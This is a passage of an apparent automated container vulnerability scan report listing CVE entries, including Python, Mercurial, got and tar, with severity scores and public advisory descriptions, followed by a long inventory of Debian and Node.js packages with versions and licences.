'cvss': 5.9, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H', 'description': 'The package python/cpython from 0 and before 3.6.13, from 3.7.0 and before 3.7.10, from 3.8.0 and before 3.8.8, from 3.9.0 and before 3.9.2 are vulnerable to Web Cache Poisoning via urllib.parse.parse_qsl and urllib.parse.parse_qs by using a vector called parameter cloaking. When the attacker can separate query parameters using a semicolon (;), they can cause a difference in the interpretation of the request between the proxy (running with default configuration) and the server. This can result in malicious requests being cached as completely safe ones, as the proxy would usually not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.', 'riskFactors': ['Attack vector: network', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2021-02-15T13:15:00Z'}, {'cveId': 'CVE-2019-3902', 'status': 'fixed in 4.9', 'severity': 'medium', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-3902', 'cvss': 5.9, 'vector': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': \"A flaw was found in Mercurial before 4.9. It was possible to use symlinks and subrepositories to defeat Mercurial\\\\'s path-checking logic and write files outside a repository.\", 'riskFactors': ['Attack vector: network', 'Has fix', 'Medium severity'], 'publishedDate': '2019-04-22T16:29:00Z'}, {'cveId': 'CVE-2021-3426', 'status': 'fixed in 3.10.0a7, 3.9.3, 3.8.9', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3426', 'cvss': 5.7, 'vector': 'CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N', 'description': \"There\\\\'s a flaw in Python 3\\\\'s pydoc. A local or adjacent attacker who discovers or is able to convince another local or adjacent user to start a pydoc server could access the server and use it to disclose sensitive information belonging to the other user that they would not normally be able to access. The highest risk of this flaw is to data confidentiality. This flaw affects Python versions before 3.8.9, Python versions before 3.9.3 and Python versions before 3.10.0a7.\", 'riskFactors': ['Attack complexity: low', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2021-05-20T13:15:00Z'}, {'cveId': 'CVE-2022-33987', 'status': 'fixed in 12.1.0', 'severity': 'medium', 'packageName': 'got', 'packageVersion': '6.7.1', 'link': 'https://github.com/advisories/GHSA-pfrx-2q88-qq97', 'cvss': 5.3, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N', 'description': 'The got package before 12.1.0 (also fixed in 11.8.5) for Node.js allows a redirect to a UNIX socket.', 'riskFactors': ['Medium severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2022-06-18T21:15:00Z'}, {'cveId': 'CVE-2018-20852', 'status': 'fixed in 3.6.9, 3.5.7, 3.4.10', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-20852', 'cvss': 5.3, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'description': 'http.cookiejar.DefaultPolicy.domain_return_ok in Lib/http/cookiejar.py in Python before 3.7.3 does not correctly validate the domain: it can be tricked into sending existing cookies to the wrong server. An attacker may abuse this flaw by using a server with a hostname that has another valid hostname as a suffix (e.g., pythonicexample.com to steal cookies for example.com). When a program uses http.cookiejar.DefaultPolicy and tries to do an HTTP connection to an attacker-controlled server, existing cookies can be leaked to the attacker. This affects 2.x through 2.7.16, 3.x before 3.4.10, 3.5.x before 3.5.7, 3.6.x before 3.6.9, and 3.7.x before 3.7.3.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'Medium severity'], 'publishedDate': '2019-07-13T21:15:00Z'}, {'cveId': 'CVE-2021-23362', 'status': 'fixed in 2.8.9, 3.0.8', 'severity': 'moderate', 'packageName': 'hosted-git-info', 'packageVersion': '2.8.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23362', 'cvss': 4, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'description': 'The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2021-03-23T17:15:00Z'}, {'cveId': 'CVE-2018-1000030', 'status': 'open', 'severity': 'low', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000030', 'cvss': 3.6, 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:L', 'description': \"Python 2.7.14 is vulnerable to a Heap-Buffer-Overflow as well as a Heap-Use-After-Free. Python versions prior to 2.7.14 may also be vulnerable and it appears that Python 2.7.17 and prior may also be vulnerable however this has not been confirmed. The vulnerability lies when multiply threads are handling large amounts of data. In both cases there is essentially a race condition that occurs. For the Heap-Buffer-Overflow, Thread 2 is creating the size for a buffer, but Thread1 is already writing to the buffer without knowing how much to write. So when a large amount of data is being processed, it is very easy to cause memory corruption using a Heap-Buffer-Overflow. As for the Use-After-Free, Thread3->Malloc->Thread1->Free\\\\'s->Thread2-Re-uses-Free\\\\'d Memory. The PSRT has stated that this is not a security vulnerability due to the fact that the attacker must be able to run code, however in some situations, such as function as a service, this vulnerability can potentially be used by an attacker to violate a trust boundary, as such the DWF feels this issue deserves a CVE.\", 'riskFactors': None, 'publishedDate': '2018-02-08T17:29:00Z'}, {'cveId': 'PRISMA-2021-0096', 'status': 'fixed in 6.1.4', 'severity': 'low', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/npm/node-tar/commit/06cbde5935aa7643f578f874de84a7da2a74fe3a', 'cvss': 3.5, 'vector': None, 'description': 'tar package versions before 6.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from `files` arguments, we were using `f.replace(/\\\\\\\\/+$/, \\\\\\'\\\\\\')`, which can get exponentially slow when `f` contains many `/` characters. This is \\\\\"\\\\\"unlikely but theoretically possible\\\\\"\\\\\" because it requires that the user is passing untrusted input into the `tar.extract()` or `tar.list()` array of entries to parse/extract, which would be quite unusual.', 'riskFactors': ['DoS', 'Has fix'], 'publishedDate': '2021-08-30T08:44:48Z'}], 'packages': [{'type': 'os', 'name': 'iproute2', 'version': '4.9.0-1+deb9u1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'base-files', 'version': '9.9+deb9u13', 'licenses': ['GPL']}, {'type': 'os', 'name': 'dh-python', 'version': '2.20170125', 'licenses': []}, {'type': 'os', 'name': 'gzip', 'version': '1.6-5', 'licenses': ['GPL']}, {'type': 'os', 'name': 'findutils', 'version': '4.6.0+git+20161106-2', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'diffutils', 'version': '1:3.5-3', 'licenses': ['GPL']}, {'type': 'os', 'name': 'debian-archive-keyring', 'version': '2017.5+deb9u1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'grep', 'version': '2.27-2', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'm4', 'version': '1.4.18-1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'coreutils', 'version': '8.26-3', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'ucf', 'version': '3.0036', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'netbase', 'version': '5.4', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'wget', 'version': '1.18-5+deb9u3', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'sed', 'version': '4.4-1', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'debianutils', 'version': '4.8.1.1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'autoconf', 'version': '2.69-10', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'sensible-utils', 'version': '0.0.9+deb9u1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'patch', 'version': '2.7.5-1+deb9u2', 'licenses': ['GPL']}, {'type': 'os', 'name': 'debconf', 'version': '1.5.61', 'licenses': ['BSD-2-clause']}, {'type': 'os', 'name': 'autotools-dev', 'version': '20161112.1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'binutils', 'version': '2.28-5', 'licenses': ['GPL']}, {'type': 'os', 'name': 'adduser', 'version': '3.115', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'pkg-config', 'version': '0.29-4', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libidn2-0', 'version': '0.16-1+deb9u1', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'base-passwd', 'version': '3.5.43', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'tzdata', 'version': '2021a-0+deb9u1', 'licenses': []}, {'type': 'os', 'name': 'liberror-perl', 'version': '0.17024-1', 'licenses': ['Artistic or GPL-1+']}, {'type': 'os', 'name': 'unzip', 'version': '6.0-21+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'init-system-helpers', 'version': '1.48', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'libtasn1-6', 'version': '4.10-1.1+deb9u1', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'hostname', 'version': '3.18', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'mawk', 'version': '1.3.3-17', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'libcap2', 'version': '1:2.25-1', 'licenses': ['BSD-3-clause or GPL-2']}, {'type': 'os', 'name': 'hicolor-icon-theme', 'version': '0.15-1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'bash', 'version': '4.4-5', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'tar', 'version': '1.29b-1.1', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'shared-mime-info', 'version': '1.8-1+deb9u1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libgcrypt20', 'version': '1.7.6-2+deb9u3', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'xorg-sgml-doctools', 'version': '1:1.11-1', 'licenses': []}, {'type': 'os', 'name': 'mime-support', 'version': '3.60', 'licenses': []}, {'type': 'os', 'name': 'dash', 'version': '0.5.8-2.4', 'licenses': ['GPL']}, {'type': 'os', 'name': 'gnome-icon-theme', 'version': '3.12.0-2', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'ca-certificates', 'version': '20200601~deb9u2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'sqlite3', 'version': '3.16.2-5+deb9u3', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'x11proto-core', 'version': '7.0.31-1', 'licenses': []}, {'type': 'os', 'name': 'libtool', 'version': '2.4.6-2', 'licenses': ['GPL']}, {'type': 'os', 'name': 'gcc-6', 'version': '6.3.0-18+deb9u1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'imagemagick', 'version': '8:6.9.7.4+dfsg-11+deb9u12', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'apr-util', 'version': '1.5.4-3', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'configobj', 'version': '5.0.6-2', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'gdk-pixbuf', 'version': '2.36.5-2+deb9u2', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'libxpm', 'version': '1:3.5.12-1', 'licenses': []}, {'type': 'os', 'name': 'lsb', 'version': '9.20161125', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'x11proto-kb', 'version': '1.0.7-1', 'licenses': []}, {'type': 'os', 'name': 'fonts-dejavu', 'version': '2.37-1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'util-linux', 'version': '2.29.2-1+deb9u1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'procps', 'version': '2:3.3.12-3+deb9u1', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'dpkg', 'version': '1.18.25', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'mpclib3', 'version': '1.0.3-1', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'libbsd', 'version': '0.8.3-1+deb9u1', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'sysvinit', 'version': '2.88dsf-59.9', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'openssh', 'version': '1:7.4p1-10+deb9u7', 'licenses': ['BSD-3-clause']}, {'type': 'os', 'name': 'isl', 'version': '0.18-1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'libpsl', 'version': '0.17.0-3', 'licenses': ['MIT']}, {'type': 'os', 'name': 'cairo', 'version': '1.14.8-1+deb9u1', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'cdebconf', 'version': '0.227', 'licenses': []}, {'type': 'os', 'name': 'libxau', 'version': '1:1.0.8-1', 'licenses': []}, {'type': 'os', 'name': 'apr', 'version': '1.5.2-5', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'xz-utils', 'version': '5.2.2-1.2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libcap-ng', 'version': '0.7.7-3', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'djvulibre', 'version': '3.5.27.1-7', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'subversion', 'version': '1.9.5-1+deb9u6', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'acl', 'version': '2.2.52-3', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'x11proto-input', 'version': '2.3.2-1', 'licenses': []}, {'type': 'os', 'name': 'harfbuzz', 'version': '1.4.2-1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'libsemanage', 'version': '2.6-2', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'libxdamage', 'version': '1:1.1.4-2', 'licenses': []}, {'type': 'os', 'name': 'libksba', 'version': '1.3.5-2', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'mariadb-10.1', 'version': '10.1.48-0+deb9u2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gnutls28', 'version': '3.5.8-5+deb9u5', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'postgresql-9.6', 'version': '9.6.20-0+deb9u1', 'licenses': ['GPL-1']}, {'type': 'os', 'name': 'libsm', 'version': '2:1.2.2-1', 'licenses': []}, {'type': 'os', 'name': 'libxext', 'version': '2:1.3.3-1', 'licenses': []}, {'type': 'os', 'name': 'libxml2', 'version': '2.9.4+dfsg1-2.2+deb9u4', 'licenses': []}, {'type': 'os', 'name': 'openssl1.0', 'version': '1.0.2u-1~deb9u4', 'licenses': []}, {'type': 'os', 'name': 'libxdmcp', 'version': '1:1.1.2-3', 'licenses': []}, {'type': 'os', 'name': 'libthai', 'version': '0.1.26-1', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'libunistring', 'version': '0.9.6+really0.9.3-0.1', 'licenses': ['LGPL-3+']}, {'type': 'os', 'name': 'python3-defaults', 'version': '3.5.3-1', 'licenses': []}, {'type': 'os', 'name': 'gtk+2.0', 'version': '2.24.31-2', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'libexif', 'version': '0.6.21-2+deb9u5', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'libxfixes', 'version': '1:5.0.3-1', 'licenses': []}, {'type': 'os', 'name': 'systemd', 'version': '232-25+deb9u12', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'gcc-defaults', 'version': '1.168', 'licenses': ['GPL']}, {'type': 'os', 'name': 'gnupg2', 'version': '2.1.18-8~deb9u4', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'curl', 'version': '7.52.1-5+deb9u13', 'licenses': ['BSD-3-Clause']}, {'type': 'os', 'name': 'libevent', 'version': '2.0.21-stable-3', 'licenses': []}, {'type': 'os', 'name': 'ncurses', 'version': '6.0+20161126-1+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'libdatrie', 'version': '0.2.10-4', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'six', 'version': '1.10.0-3', 'licenses': []}, {'type': 'os', 'name': 'libxcursor', 'version': '1:1.1.14-1+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'xtrans', 'version': '1.3.5-1', 'licenses': []}, {'type': 'os', 'name': 'e2fsprogs', 'version': '1.43.4-2+deb9u2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'atk1.0', 'version': '2.22.0-1', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'shadow', 'version': '1:4.4-4.1+deb9u1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gtk+3.0', 'version': '3.22.11-1', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'libxrandr', 'version': '2:1.5.1-1', 'licenses': []}, {'type': 'os', 'name': 'libyaml', 'version': '0.1.7-2', 'licenses': []}, {'type': 'os', 'name': 'liblqr', 'version': '0.4.2-2', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'python-defaults', 'version': '2.7.13-2', 'licenses': []}, {'type': 'os', 'name': 'librsvg', 'version': '2.40.21-0+deb9u1', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'libxinerama', 'version': '2:1.1.3-1', 'licenses': []}, {'type': 'os', 'name': 'python3.5', 'version': '3.5.3-1+deb9u4', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'libxt', 'version': '1:1.1.5-1', 'licenses': []}, {'type': 'os', 'name': 'gobject-introspection', 'version': '1.50.0-1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'mpfr4', 'version': '3.1.5-1', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'mpdecimal', 'version': '2.4.2-1', 'licenses': ['BSD']}, {'type': 'os', 'name': 'libpthread-stubs', 'version': '0.3-4', 'licenses': []}, {'type': 'os', 'name': 'openssl', 'version': '1.1.0l-1~deb9u3', 'licenses': []}, {'type': 'os', 'name': 'libjpeg-turbo', 'version': '1:1.5.1-2+deb9u1', 'licenses': ['BSD-BY-LC-NE']}, {'type': 'os', 'name': 'expat', 'version': '2.2.0-2+deb9u3', 'licenses': []}, {'type': 'os', 'name': 'openldap', 'version': '2.4.44+dfsg-5+deb9u8', 'licenses': []}, {'type': 'os', 'name': 'libmnl', 'version': '1.0.4-2', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'jquery', 'version': '3.1.1-2+deb9u2', 'licenses': ['GPL-2 or MIT']}, {'type': 'os', 'name': 'elfutils', 'version': '0.168-1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'pcre3', 'version': '2:8.39-3', 'licenses': []}, {'type': 'os', 'name': 'attr', 'version': '1:2.4.47-2', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'ilmbase', 'version': '2.2.0-12', 'licenses': []}, {'type': 'os', 'name': 'python2.7', 'version': '2.7.13-2+deb9u5', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gts', 'version': '0.7.6+darcs121130-4', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'libmaxminddb', 'version': '1.2.0-1+deb9u1', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'libssh2', 'version': '1.7.0-1+deb9u1', 'licenses': ['BSD3']}, {'type': 'os', 'name': 'lz4', 'version': '0.0~r131-2', 'licenses': ['BSD-2-clause']}, {'type': 'os', 'name': 'keyutils', 'version': '1.5.9-9', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libcroco', 'version': '0.6.11-3', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'explorercanvas', 'version': '0.r3-4', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'git', 'version': '1:2.11.0-3+deb9u7', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'avahi', 'version': '0.6.32-2', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'openjpeg2', 'version': '2.1.2-1.1+deb9u6', 'licenses': ['BSD-2']}, {'type': 'os', 'name': 'fftw3', 'version': '3.3.5-3', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'glib2.0', 'version': '2.50.3-2+deb9u2', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'libx11', 'version': '2:1.6.4-3+deb9u3', 'licenses': []}, {'type': 'os', 'name': 'x11proto-render', 'version': '2:0.11.1-2', 'licenses': []}, {'type': 'os', 'name': 'x11proto-xext', 'version': '7.3.0-1', 'licenses': []}, {'type': 'os', 'name': 'db5.3', 'version': '5.3.28-12+deb9u1', 'licenses': []}, {'type': 'os', 'name': 'p11-kit', 'version': '0.23.3-2+deb9u1', 'licenses': ['BSD-3-Clause']}, {'type': 'os', 'name': 'libpng1.6', 'version': '1.6.28-1+deb9u1', 'licenses': ['GPL-2+ or BSD-like-with-advertising-clause']}, {'type': 'os', 'name': 'libxcb', 'version': '1.12-1', 'licenses': []}, {'type': 'os', 'name': 'libxslt', 'version': '1.1.29-2.1+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'npth', 'version': '1.3-1', 'licenses': ['GPL-2+ or LGPL-3+']}, {'type': 'os', 'name': 'libsepol', 'version': '2.6-2', 'licenses': ['LGPL']}, {'type': 'os', 'name': 'automake-1.15', 'version': '1:1.15-6', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'gmp', 'version': '2:6.1.2+dfsg-1', 'licenses': ['LGPL-3']}, {'type': 'os', 'name': 'rtmpdump', 'version': '2.4+20151223.gitfa8646d.1-1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'lcms2', 'version': '2.8-4+deb9u1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'openexr', 'version': '2.2.0-11+deb9u2', 'licenses': []}, {'type': 'os', 'name': 'apt', 'version': '1.4.11', 'licenses': ['GPLv2+']}, {'type': 'os', 'name': 'iputils', 'version': '3:20161105-1', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libice', 'version': '2:1.0.9-2', 'licenses': []}, {'type': 'os', 'name': 'xorg', 'version': '1:7.7+19', 'licenses': ['GPL']}, {'type': 'os', 'name': 'libselinux', 'version': '2.6-3', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'freetype', 'version': '2.6.3-3.2+deb9u2', 'licenses': ['GPL-2+ or FTL']}, {'type': 'os', 'name': 'libwmf', 'version': '0.2.8.4-10.6', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'dbus', 'version': '1.10.32-0+deb9u1', 'licenses': ['GPL-2+ or AFL-2.1']}, {'type': 'os', 'name': 'libffi', 'version': '3.2.1-6', 'licenses': ['GPL']}, {'type': 'os', 'name': 'serf', 'version': '1.3.9-3+deb9u1', 'licenses': ['Apache']}, {'type': 'os', 'name': 'audit', 'version': '1:2.6.7-2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'pixman', 'version': '0.34.0-1', 'licenses': []}, {'type': 'os', 'name': 'krb5', 'version': '1.15-1+deb9u2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'readline', 'version': '7.0-3', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'libgd2', 'version': '2.2.4-2+deb9u5', 'licenses': ['GPL-2+ with Autoconf exception']}, {'type': 'os', 'name': 'ustr', 'version': '1.0.4-6', 'licenses': ['LGPL-2+ or BSD-2-clause or MIT']}, {'type': 'os', 'name': 'libedit', 'version': '3.1-20160903-3', 'licenses': []}, {'type': 'os', 'name': 'cyrus-sasl2', 'version': '2.1.27~101-g0780600+dfsg-3+deb9u1', 'licenses': ['BSD-4-clause']}, {'type': 'os', 'name': 'pango1.0', 'version': '1.40.5-1', 'licenses': ['LGPL-2']}, {'type': 'os', 'name': 'pinentry', 'version': '1.0.0-2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libidn', 'version': '1.33-1+deb9u1', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'tiff', 'version': '4.0.8-2+deb9u5', 'licenses': []}, {'type': 'os', 'name': 'fontconfig', 'version': '2.11.0-6.7', 'licenses': []}, {'type': 'os', 'name': 'libxrender', 'version': '1:0.9.10-1', 'licenses': []}, {'type': 'os', 'name': 'bzip2', 'version': '1.0.6-8.1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'gdbm', 'version': '1.8.3-14', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'bzr', 'version': '2.7.0+bzr6619-7+deb9u1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'icu', 'version': '57.1-6+deb9u4', 'licenses': []}, {'type': 'os', 'name': 'pam', 'version': '1.1.8-3.6', 'licenses': ['GPL']}, {'type': 'os', 'name': 'mercurial', 'version': '4.0-1+deb9u2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'zlib', 'version': '1:1.2.8.dfsg-5', 'licenses': []}, {'type': 'os', 'name': 'libgpg-error', 'version': '1.26-2', 'licenses': ['GPL-2.1+']}, {'type': 'os', 'name': 'libxi', 'version': '2:1.7.9-1', 'licenses': []}, {'type': 'os', 'name': 'nghttp2', 'version': '1.18.1-1+deb9u1', 'licenses': ['MIT']}, {'type': 'os', 'name': 'cups', 'version': '2.2.1-8+deb9u6', 'licenses': ['GPL-2.0 with AOSDL exception']}, {'type': 'os', 'name': 'jbigkit', 'version': '2.1-3.1', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'perl', 'version': '5.24.1-3+deb9u7', 'licenses': ['GPL-1+ or Artistic']}, {'type': 'os', 'name': 'db-defaults', 'version': '5.3.1', 'licenses': ['GPL-3']}, {'type': 'os', 'name': 'libxcomposite', 'version': '1:0.4.4-2', 'licenses': []}, {'type': 'os', 'name': 'graphite2', 'version': '1.3.10-1', 'licenses': ['LGPL-2+']}, {'type': 'os', 'name': 'glibc', 'version': '2.24-11+deb9u4', 'licenses': ['LGPL-2.1']}, {'type': 'os', 'name': 'file', 'version': '1:5.30-1+deb9u3', 'licenses': ['BSD-2-Clause-alike']}, {'type': 'os', 'name': 'nettle', 'version': '3.3-1', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'libwebp', 'version': '0.5.2-1', 'licenses': ['Apache-2.0']}, {'type': 'os', 'name': 'graphviz', 'version': '2.38.0-17', 'licenses': ['MIT']}, {'type': 'os', 'name': 'libassuan', 'version': '2.4.3-2', 'licenses': ['LGPL-2.1+']}, {'type': 'os', 'name': 'mysql-defaults', 'version': '1.0.2', 'licenses': ['GPL-2+']}, {'type': 'os', 'name': 'libsigsegv', 'version': '2.10-5', 'licenses': ['GPL']}, {'type': 'os', 'name': 'lzo2', 'version': '2.08-1.2', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'linux', 'version': '4.9.258-1', 'licenses': ['GPL-2']}, {'type': 'os', 'name': 'make-dfsg', 'version': '4.1-9.1', 'licenses': ['GPL-3+']}, {'type': 'nodejs', 'name': 'readable-stream', 'version': '2.3.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string_decoder', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'buffer-from', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ms', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._createcache', 'version': '3.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-installed', 'version': '4.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'semver', 'version': '5.7.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ansi-styles', 'version': '3.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-exceptions', 'version': '2.1.0', 'licenses': ['CC-BY-3.0']}, {'type': 'nodejs', 'name': 'xtend', 'version': '4.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'set-blocking', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'create-error-class', 'version': '3.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'define-properties', 'version': '1.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minizlib', 'version': '1.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mkdirp', 'version': '0.5.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-init', 'version': '0.0.0', 'licenses': ['BSD']}, {'type': 'nodejs', 'name': 'rc', 'version': '1.2.8', 'licenses': ['(BSD-2-Clause OR MIT OR Apache-2.0)']}, {'type': 'nodejs', 'name': 'readable-stream', 'version': '1.1.14', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cli-table3', 'version': '0.5.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'configstore', 'version': '3.1.5', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'delayed-stream', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'extsprintf', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmaccess', 'version': '3.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'qw', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'sha', 'version': '3.0.0', 'licenses': ['(BSD-2-Clause OR MIT)']}, {'type': 'nodejs', 'name': 'strip-json-comments', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'asn1', 'version': '0.2.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmorg', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 